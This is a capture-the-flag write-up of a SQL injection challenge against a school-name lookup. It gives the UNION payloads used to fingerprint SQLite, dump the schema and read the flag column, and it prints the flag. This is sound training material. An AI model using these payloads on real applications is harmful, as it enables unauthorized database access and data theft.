Challenge

A school lookup that returns names matching the one you submit. The single text field goes straight into a query.

Approach

A boolean payload confirmed the injection and told me the backend and column count in one shot:

1

Teaneck High School' OR "1"="1" UNION SELECT sqlite_version();

The response included 3.41.1, so it is SQLite, and the UNION works with a single output column. Everything after this is one-column enumeration.

Solution

Read the schema out of sqlite_schema:

1

Teaneck High School' OR "1"="1" UNION SELECT sql FROM sqlite_schema -- -

CREATE TABLE mystery(unkn0wn TEXT)
CREATE TABLE school_data(name TEXT)

mystery.unkn0wn is the obvious target. Dump it:

1

Teaneck High School' OR "1"="1" UNION SELECT unkn0wn FROM mystery -- -

The flag comes back alongside the school list.

Flag

bcactf{1_L0v3_sQl_UN10n_QU3r13S}